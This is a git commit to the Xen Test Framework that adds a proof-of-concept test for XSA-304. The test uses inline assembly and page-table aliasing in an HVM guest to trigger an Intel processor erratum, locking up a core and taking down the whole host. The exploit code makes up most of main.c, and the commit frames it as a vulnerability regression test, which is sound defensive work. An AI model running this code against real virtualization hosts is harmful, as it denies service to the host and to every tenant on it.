]> xenbits.xensource.com Git - xtf.git/commitdiff
XSA-304 PoC
authorAndrew Cooper <andrew.cooper3@citrix.com>
Wed, 28 Nov 2018 18:27:02 +0000 (18:27 +0000)
committerAndrew Cooper <andrew.cooper3@citrix.com>
Fri, 27 Jan 2023 21:06:35 +0000 (21:06 +0000)
Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
arch/x86/include/arch/lib.h
docs/all-tests.dox
tests/xsa-304/Makefile [new file with mode: 0644]
tests/xsa-304/main.c [new file with mode: 0644]

index 3b2b35bcbd33c62e9397f0f49a09da53f135536d..0a9b23dba4b70591ff1628b09ddfc9cb6195192e 100644 (file)
@@ -390,6 +390,11 @@ static inline void clflush(const void *ptr)
     asm volatile ("clflush %0" :: "m" (*(const char *)ptr));
 }
 
+static inline void flush_tlb(void)
+{
+    write_cr3(read_cr3());
+}
+
 #endif /* XTF_X86_LIB_H */
 
 /*
index 322f078db09e6dd668895f7eec9fb28a75ed9690..7282b36aab7043df9020d70a203dd21a7c41031a 100644 (file)
@@ -148,6 +148,8 @@ XSA-293 - See @ref test-pv-fsgsbase.
 @subpage test-xsa-298 - missing descriptor table limit checking in x86 PV
 emulation.
 
+@subpage test-xsa-304 - x86: Machine Check Error on Page Size Change DoS.
+
 @subpage test-xsa-consoleio-write - CONSOLEIO_write stack overflow.
 
 @subpage test-xsa-308 - VMX: VMentry failure with debug exceptions and blocked
diff --git a/tests/xsa-304/Makefile b/tests/xsa-304/Makefile
new file mode 100644 (file)
index 0000000..bb00d38
--- /dev/null
@@ -0,0 +1,9 @@
+include $(ROOT)/build/common.mk
+
+NAME      := xsa-304
+CATEGORY  := xsa
+TEST-ENVS := hvm64
+
+obj-perenv += main.o
+
+include $(ROOT)/build/gen.mk
diff --git a/tests/xsa-304/main.c b/tests/xsa-304/main.c
new file mode 100644 (file)
index 0000000..7f8be08
--- /dev/null
@@ -0,0 +1,139 @@
+/**
+ * @file tests/xsa-304/main.c
+ * @ref test-xsa-304
+ *
+ * @page test-xsa-304 XSA-304
+ *
+ * Advisory: [XSA-304](https://xenbits.xen.org/xsa/advisory-304.html)
+ *
+ * Intel's [guidance](https://www.intel.com/content/www/us/en/developer/articles/troubleshooting/software-security-guidance/advisory-guidance/machine-check-error-avoidance-page-size-change.html).
+ *
+ * An erratum exists on various generations of Intel processors, that can be
+ * tickled by an HVM guest kernel, resulting in a core lockup and full system
+ * denial of service.
+ *
+ * To mitigate, Xen ensures that no EPT superpages are executable, shattering
+ * to 4k mappings if execution is needed.  This prevents >4k mappings from
+ * entering the iTLB, and blocks a precondition of the erratum.
+ *
+ * @see tests/xsa-304/main.c
+ */
+#include <xtf.h>
+
+const char test_title[] = "XSA-304 PoC";
+
+typedef void (stub_t)(intpte_t *l2t, const bool *cond);
+extern stub_t stub_fn;
+
+asm (".align 4096;"
+     ".skip 4096 - (stub_page_boundary - stub_fn);"
+
+     "stub_fn:"
+
+     /*
+      * Overwrite the mapping for 16M linear (currently aliased to 0) as a 2M
+      * identity page.  The underlying contents are the same because we
+      * duplicated .text here to start with.
+      */
+     "    movq    $" STR((16 << 20) | PF_SYM(PSE, AD, RW, P)) ", 8*8(%rdi);"
+
+     /*
+      * Shoot down the 4k mapping (in the high alias) of the *next* page,
+      * leaving the 4k mapping of this page intact.
+      */
+     "    invlpg  stub_page_boundary + (16 << 20);"
+
+     /*
+      * %rsi points at `bool cond = true` on the stack, so this jump won't
+      * actually be taken, but we want speculation to follow it.
+      */
+     "    cmpb    $0, (%rsi);"
+     "    je      1f;"
+
+     /*
+      * Write into the top of linear address space.  Because no A/D bits are
+      * set in the PTEs, this suffers 5 assists, and because the PTEs were
+      * flushed from the cache, it takes ages while doing so.
+      */
+     "    movb    $0, -1;"
+     "stub_page_boundary:"
+
+     /*
+      * When speculation races ahead to here, there is no mapping because we
+      * shot it out earlier.  A pagewalk occurs, and finds the 2M superpage
+      * which we installed.
+      *
+      * As a consequence of installing the 2M mapping, the previous
+      * instruction (which is busy setting A/D bits) has a linear address with
+      * one valid 4k mapping pointing into the real .text location, and one
+      * valid 2M mapping pointing at the aliased .text location.
+      *
+      * ... and the pipeline is busy asserting sanity on tracking state of the
+      * uops each time they come around for another assist...
+      */
+     "1:  ret;"
+    );
+
+/* New pagetables */
+static intpte_t nl3t[512] __page_aligned_bss;
+static intpte_t nl2t[512] __page_aligned_bss;
+static intpte_t nl1t[512] __page_aligned_bss;
+
+void test_main(void)
+{
+    unsigned long stride = ROUNDUP(_end - _start, MB(16));
+    bool cond = true;
+
+    if ( stride != MB(16) )
+        return xtf_error("Unexpected stride %lu,%#lx\n", stride, stride);
+
+    /* Create an alias of .text at stride's distance away. */
+    memcpy(_p(_start) + stride, _start, _end - _start);
+    barrier();
+
+    stub_t *stub = _p(_u(stub_fn) + stride);
+
+    /*
+     * This test is racy with a vCPU reschedule, interrupts etc.  Retry a
+     * couple of times just in case.
+     */
+    for ( int i = 0; i < 15; ++i )
+    {
+        printk("Try: %u\n", i);
+
+        /*
+         * Map GFN 0 at the top of linear address space, with no A/D bits, and
+         * flushing each PTE from the cache.
+         */
+        pae_l4_identmap[511] = pte_from_virt(nl3t, PF_SYM(RW, P));
+        clflush(&pae_l4_identmap[511]);
+
+        nl3t[511] = pte_from_virt(nl2t, PF_SYM(RW, P));
+        clflush(&nl3t[511]);
+
+        nl2t[511] = pte_from_virt(nl1t, PF_SYM(RW, P));
+        clflush(&nl2t[511]);
+
+        nl1t[511] = pte_from_gfn(0, PF_SYM(RW, P));
+        clflush(&nl1t[511]);
+
+        /* Alias 16M linear to 0, using 0's 4k mappings. */
+        l2_identmap[8] = l2_identmap[0];
+
+        flush_tlb();
+
+        stub(l2_identmap, &cond);
+    }
+
+    xtf_success("Success: Probably not vulnerable to XSA-304\n");
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */